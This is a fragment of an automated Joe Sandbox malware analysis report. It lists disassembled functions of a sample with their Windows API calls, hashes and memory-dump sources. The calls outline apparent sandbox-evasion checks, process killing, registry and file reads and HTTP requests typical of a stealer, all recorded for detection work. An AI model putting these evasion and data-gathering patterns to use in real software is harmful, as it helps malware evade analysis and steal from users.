Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 58dba1b2860d6428ec47f78fe100ccd670a24cdb85e4827545ce54862c89c4bc
Instruction ID: a5c2d428b28de13255d2ac7946ab4b1842291e6be0275f36c7222d1bbee1b90f
Opcode Fuzzy Hash: 58dba1b2860d6428ec47f78fe100ccd670a24cdb85e4827545ce54862c89c4bc
Instruction Fuzzy Hash: F93160B2D0421867CB14FBB0DC95EDD733EAB48704F40458EB20596091EE78A7C8CB99

Function 02494A67 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AA1
??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494AB8
??2@YAPAXI@Z.MSVCRT(00000800), ref: 02494ACF
lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 02494AF0
InternetCrackUrlA.WININET(00000000,00000000), ref: 02494B00

Strings

<, xrefs: 02494A80

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 38fa8a5d9863c97f5ae2059ef35c5811aeca24f1de16073e8a310d0be37fc7a1
Instruction ID: ca3637945bc139fe227d149e668d1f92fb344ad963a3f9add92155e15fa28b40
Opcode Fuzzy Hash: 38fa8a5d9863c97f5ae2059ef35c5811aeca24f1de16073e8a310d0be37fc7a1
Instruction Fuzzy Hash: 50213BB1D00219EBDF14DFA5EC49ADD7B75FF44320F108229E925AB290EB706A09CF91

Function 024A9C07 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 024A9C2C
Process32First.KERNEL32(0249A2BD,00000128), ref: 024A9C40
Process32Next.KERNEL32(0249A2BD,00000128), ref: 024A9C59
OpenProcess.KERNEL32(00000001,00000000,?), ref: 024A9CB5
TerminateProcess.KERNEL32(00000000,00000000), ref: 024A9CD3
CloseHandle.KERNEL32(00000000), ref: 024A9CE0
CloseHandle.KERNEL32(0249A2BD), ref: 024A9CEF

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction ID: a99a17d1bb293e957ace4d2cb80e72a16d45849eb2a27177f35b5081f21407e0
Opcode Fuzzy Hash: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction Fuzzy Hash: 7E21FC75904218EBDB25DF51DC98BEEBBB5BB48304F0041C9E50AA7294D7749B84CF91

Function 004199A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004199C5
Process32First.KERNEL32(0040A056,00000128), ref: 004199D9
Process32Next.KERNEL32(0040A056,00000128), ref: 004199F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00419A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419A6C
CloseHandle.KERNEL32(00000000), ref: 00419A79
CloseHandle.KERNEL32(0040A056), ref: 00419A88

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction ID: 88ad4043d03276f3ee8d31f644ab7db47d0d0c060b431017ba6a9ada5f45e9a4
Opcode Fuzzy Hash: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction Fuzzy Hash: 06211A70900258ABDB25DFA1DC98BEEB7B9BF48304F0041C9E509A6290D7789FC4CF51

Function 024A7A87 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 024A7A9B
RtlAllocateHeap.NTDLL(00000000), ref: 024A7AA2
RegOpenKeyExA.ADVAPI32(80000002,006D6D98,00000000,00020119,00000000), ref: 024A7AD4
RegQueryValueExA.ADVAPI32(00000000,006D6E34,00000000,00000000,?,000000FF), ref: 024A7AF5
RegCloseKey.ADVAPI32(00000000), ref: 024A7AFF

Strings

Windows 11, xrefs: 024A7AB4

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction ID: 5fd1eaf72f4706323153560eea88f0d80f653f908641c25a7d58779b3e84d53b
Opcode Fuzzy Hash: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction Fuzzy Hash: E601A2B5E05304BBEB10DBE0EC49F6EB7B9EB48700F004196FA05D7280E7709A00CB91

Function 00419470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(>=A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413D3E,?), ref: 0041948C
GetFileSizeEx.KERNEL32(000000FF,>=A), ref: 004194A9
CloseHandle.KERNEL32(000000FF), ref: 004194B7

Strings

>=A, xrefs: 00419488, 0041948B
>=A, xrefs: 004194A1, 004194CD, 004194A4

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: >=A$>=A
API String ID: 1378416451-3536956848
Opcode ID: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction ID: 3a34b71ed32a5e038d40ec36a38ffc71a9509a973990dc3d9b0a1b42c7eefbe1
Opcode Fuzzy Hash: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction Fuzzy Hash: F2F04F39E08208BBDB10DFB0EC59F9E77BAAB48710F14C655FA15A72C0E6749A418B85

Function 02497597 Relevance: 9.1, APIs: 6, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 02497601
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 02497678
StrStrA.SHLWAPI(00000000,0042191C,00000000), ref: 024976D4
GetProcessHeap.KERNEL32(00000000,?), ref: 02497719
HeapFree.KERNEL32(00000000), ref: 02497720

Part of subcall function 024994F7: vsprintf_s.MSVCRT ref: 02499512

task.LIBCPMTD ref: 0249781C

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetaskvsprintf_s
String ID:
API String ID: 700816787-0
Opcode ID: a5f9a1fdff9748d1a9f61811aedc3a3ddb92c22d9917be86b6004c4e8ac4beea
Instruction ID: 01c61867bc2b4eaaa7626abed43216e28e58d913b9ea97ac3cf18d0aa4cd322a
Opcode Fuzzy Hash: a5f9a1fdff9748d1a9f61811aedc3a3ddb92c22d9917be86b6004c4e8ac4beea
Instruction Fuzzy Hash: B7612EB591016C9BDF24DB50CC94FE9B7B9BF44300F0081EAE649A6240DBB1ABC5CF91

Function 024A5777 Relevance: 9.1, APIs: 6, Instructions: 138stringCOMMON

Download Yara Rule

APIs

Part of subcall function 024AAD17: lstrcpy.KERNEL32(?,00000000), ref: 024AAD5D

Part of subcall function 02496537: InternetOpenA.WININET(00420DFF,00000001,00000000,00000000,00000000), ref: 02496598
Part of subcall function 02496537: StrCmpCA.SHLWAPI(?,006D6E80), ref: 024965BA
Part of subcall function 02496537: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 024965EC
Part of subcall function 02496537: HttpOpenRequestA.WININET(00000000,00421B58,?,e~,00000000,00000000,00400100,00000000), ref: 0249663C
Part of subcall function 02496537: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 02496676
Part of subcall function 02496537: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 02496688

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

StrCmpCA.SHLWAPI(00000000,00421084,00000000), ref: 024A57CF
lstrlen.KERNEL32(00000000), ref: 024A57E6

Part of subcall function 024A9227: LocalAlloc.KERNEL32(00000040,-00000001), ref: 024A9249

StrStrA.SHLWAPI(00000000,00000000), ref: 024A581B
lstrlen.KERNEL32(00000000), ref: 024A583A
strtok.MSVCRT(00000000,?), ref: 024A5855
lstrlen.KERNEL32(00000000), ref: 024A5865

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSendstrtok
String ID:
API String ID: 3532888709-0
Opcode ID: 54e8cafad978ddb8dec0665b67f894f20834dab0c8411e0b23f3d73ca0531f9d
Instruction ID: b9a70cb0fabb3684480ceefbdee484670609ea9bc9a70bbe96116a6a755b7bf2
Opcode Fuzzy Hash: 54e8cafad978ddb8dec0665b67f894f20834dab0c8411e0b23f3d73ca0531f9d
Instruction Fuzzy Hash: F8510A70900219ABCB18FF61CDA5EED7736AF30301F90446EE84A6A5A0EF316B49CF51

Function 024A75B7 Relevance: 9.1, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00064000), ref: 024A75C5

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

OpenProcess.KERNEL32(001FFFFF,00000000,024A77F4,004205C5), ref: 024A7603
memset.MSVCRT ref: 024A7651
??_V@YAXPAX@Z.MSVCRT(?), ref: 024A77A5

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID:
API String ID: 224852652-0
Opcode ID: 84a0e27ea1e6d6cd779c01b8e10f97d713d6d446aadd826403742b4761b04bd3
Instruction ID: 08d7b150f6cbda46ab9678485f77338bf28717bbc82cdb0542f0bc3c167ca73d
Opcode Fuzzy Hash: 84a0e27ea1e6d6cd779c01b8e10f97d713d6d446aadd826403742b4761b04bd3
Instruction Fuzzy Hash: 095171B0D002189FDB24DF95DCA4BEEF7B5AF24305F1081AED21567281EB746A88CF54

Function 004137B0 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004137D8

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

strtok_s.MSVCRT ref: 00413921

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,007DD5A0,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 6c6fb7d06333238994955fa4e9c6fc16004326b07765d99504ffdab069fb4719
Instruction ID: b6ea97cb77591b20574b5f8bad6a91ea9d9e82a59cceccb6aeafc47a8efa6348
Opcode Fuzzy Hash: 6c6fb7d06333238994955fa4e9c6fc16004326b07765d99504ffdab069fb4719
Instruction Fuzzy Hash: 9541A471E101099BCB04EFA5D945AEEB779AF44314F00801EF51677291EB78AA84CFAA

Function 02499CB7 Relevance: 9.1, APIs: 6, Instructions: 107networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00420AF6,00000001,00000000,00000000,00000000), ref: 02499CD1
InternetOpenUrlA.WININET(00000000,00421250,00000000,00000000,80000000,00000000), ref: 02499D12
InternetCloseHandle.WININET(00000000), ref: 02499D2E

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Internet$Open$CloseHandle
String ID:
API String ID: 3289985339-0
Opcode ID: bca365d301c4be2b616a8be254450e4ba1b9890f5e8d3d3b41a1ac88c57e5a7f
Instruction ID: 8f54e6832c1b50dc95dfe99dd958f562596359fe774ac4bae468957b096b1541
Opcode Fuzzy Hash: bca365d301c4be2b616a8be254450e4ba1b9890f5e8d3d3b41a1ac88c57e5a7f
Instruction Fuzzy Hash: F7415A31A11258EBCF14EB94CC94FDDB7B9AB58740F50419AF54ABA190DBB4AE80CF24

Function 0041B68C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B69A

Part of subcall function 0041B2BC: __mtinitlocknum.LIBCMT ref: 0041B2D2
Part of subcall function 0041B2BC: __amsg_exit.LIBCMT ref: 0041B2DE
Part of subcall function 0041B2BC: EnterCriticalSection.KERNEL32(?,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B2E6

DecodePointer.KERNEL32(0042A258,00000020,0041B7DD,?,00000001,00000000,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E), ref: 0041B6D6
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B6E7

Part of subcall function 0041C136: EncodePointer.KERNEL32(00000000,0041C393,004D5FB8,00000314,00000000,?,?,?,?,?,0041BA07,004D5FB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041C138

DecodePointer.KERNEL32(-00000004,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B70D
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B720
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B72A

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: d852e3d7d835d6e62f18a9395bea30f13d719b1b24e180a4b449e11ade6884fe
Instruction ID: 83cc19c0f9a08cc6c8264b8aa057ea451e2e215f117fa7a6923d46f1cea91310
Opcode Fuzzy Hash: d852e3d7d835d6e62f18a9395bea30f13d719b1b24e180a4b449e11ade6884fe
Instruction Fuzzy Hash: D131F974900349DFDF11AFA9D9856DDBAF1FF88314F14402BE460A62A0DBB84985CF99

Function 024A6EF7 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,8}), ref: 024A9E58
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D6FC8), ref: 024A9E71
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,P}), ref: 024A9E89
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D6C64), ref: 024A9EA1
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,0}), ref: 024A9EBA
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D6CF8), ref: 024A9ED2
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D6ED4), ref: 024A9EEA
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,8l}), ref: 024A9F03
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,}), ref: 024A9F1B
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D6F48), ref: 024A9F33
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D6DBC), ref: 024A9F4C
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D6CE8), ref: 024A9F64
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D700C), ref: 024A9F7C
Part of subcall function 024A9E17: GetProcAddress.KERNEL32(006D72B8,006D6AB0), ref: 024A9F95

Part of subcall function 024AACB7: lstrcpy.KERNEL32(00420E1A,00000000), ref: 024AACFF

Part of subcall function 02491437: ExitProcess.KERNEL32 ref: 02491478

Part of subcall function 024913C7: GetSystemInfo.KERNEL32(?), ref: 024913D1
Part of subcall function 024913C7: ExitProcess.KERNEL32 ref: 024913E5

Part of subcall function 02491377: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 02491392
Part of subcall function 02491377: VirtualAllocExNuma.KERNEL32(00000000), ref: 02491399
Part of subcall function 02491377: ExitProcess.KERNEL32 ref: 024913AA

Part of subcall function 02491487: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 024914A5
Part of subcall function 02491487: __aulldiv.LIBCMT ref: 024914BF
Part of subcall function 02491487: __aulldiv.LIBCMT ref: 024914CD
Part of subcall function 02491487: ExitProcess.KERNEL32 ref: 024914FB

Part of subcall function 024A6C77: GetUserDefaultLangID.KERNEL32 ref: 024A6C7B

Part of subcall function 024913F7: ExitProcess.KERNEL32 ref: 0249142D

Part of subcall function 024A7C47: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,0249141E), ref: 024A7C77
Part of subcall function 024A7C47: RtlAllocateHeap.NTDLL(00000000), ref: 024A7C7E
Part of subcall function 024A7C47: GetUserNameA.ADVAPI32(00000104,00000104), ref: 024A7C96

Part of subcall function 024A7CD7: GetProcessHeap.KERNEL32(00000000,00000104), ref: 024A7D07
Part of subcall function 024A7CD7: RtlAllocateHeap.NTDLL(00000000), ref: 024A7D0E
Part of subcall function 024A7CD7: GetComputerNameA.KERNEL32(?,00000104), ref: 024A7D26

Part of subcall function 024AAF27: lstrlen.KERNEL32(?,006D6BF0,?,004250DC,00420E1A), ref: 024AAF3C
Part of subcall function 024AAF27: lstrcpy.KERNEL32(00000000), ref: 024AAF7B
Part of subcall function 024AAF27: lstrcat.KERNEL32(00000000,00000000), ref: 024AAF89

Part of subcall function 024AAE17: lstrcpy.KERNEL32(?,00420E1A), ref: 024AAE7C

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,006D6F40,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 024A6FD1
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 024A6FEF
CloseHandle.KERNEL32(00000000), ref: 024A7000
Sleep.KERNEL32(00001770), ref: 024A700B
CloseHandle.KERNEL32(?,00000000,?,006D6F40,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 024A7021
ExitProcess.KERNEL32 ref: 024A7029

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: dff8bde81555aea59465c9e16628ddb3addc1784a124ec154de877713b950503
Instruction ID: ade315d1ad6e3336e8ede037fef3e8f32c3e9bd050980318a21e58e2019617a9
Opcode Fuzzy Hash: dff8bde81555aea59465c9e16628ddb3addc1784a124ec154de877713b950503
Instruction Fuzzy Hash: 79314BB1A44225ABDB08FBF1DC65AFEB77BAF24300F54051FB112A6190EF705905CE61

Function 0249A377 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0249A3A3
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0249A3C8
LocalAlloc.KERNEL32(00000040,?), ref: 0249A3E8
ReadFile.KERNEL32(000000FF,?,00000000,024916F6,00000000), ref: 0249A411
LocalFree.KERNEL32(024916F6), ref: 0249A447
CloseHandle.KERNEL32(000000FF), ref: 0249A451

Memory Dump Source

Source File: 00000007.00000002.1570994482.0000000002490000.00000040.00001000.00020000.00000000.sdmp, Offset: 02490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2490000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 06cf558428df834f5adc8c7b4b2342f5685766828323e2485330cc1a7ca5d982
Instruction ID: 022328f06da067ac1a34fae3bcce1c81290c8d4cade3556e902d686a7ed1db41
Opcode Fuzzy Hash: 06cf558428df834f5adc8c7b4b2342f5685766828323e2485330cc1a7ca5d982
Instruction Fuzzy Hash: E531EDB4A00219EFDF14CF94D889BAE7BB5FF49704F10815AE911A7390D774AA81CFA1

Function 0040A110 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040A13C
GetFileSizeEx.KERNEL32(000000FF,?), ref: 0040A161
LocalAlloc.KERNEL32(00000040,?), ref: 0040A181
ReadFile.KERNEL32(000000FF,?,00000000,00410447,00000000), ref: 0040A1AA
LocalFree.KERNEL32(00410447), ref: 0040A1E0
CloseHandle.KERNEL32(000000FF), ref: 0040A1EA

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000514000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.000000000051B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000526000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000006E8000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_uxnkmJzTjK.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction ID: e28607e9d9a2a96074382c0c0d30a82733061daf82e5a8752830093732aacc78
Opcode Fuzzy Hash: a501a1be7f016b5cb91172ca14ff62cfed5f90a871d90683b41ae69171fc1efd
Instruction Fuzzy Hash: 9731FC74A01209EFDB14CF94D845BEE77B5AB48304F10815AE911AB3D0D778AA91CFA6

Function 0041CD0E Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CD1A

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__amsg_exit.LIBCMT ref: 0041CD3A
__lock.LIBCMT ref: 0041CD4A
InterlockedDecrement.KERNEL32(?), ref: 0041CD67
free.MSVCRT ref: 0041CD7A
InterlockedIncrement.KERNEL32(0042C558), ref: 0041CD92

Memory Dump Source

Source File: 00000007.00000002.1570179444.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.1570179444.00000000004E6000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.00000000004EE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000007.00000002.1570179444.0000000000511000.00000040.00000001.01000000.00000004.sdmpDownload File
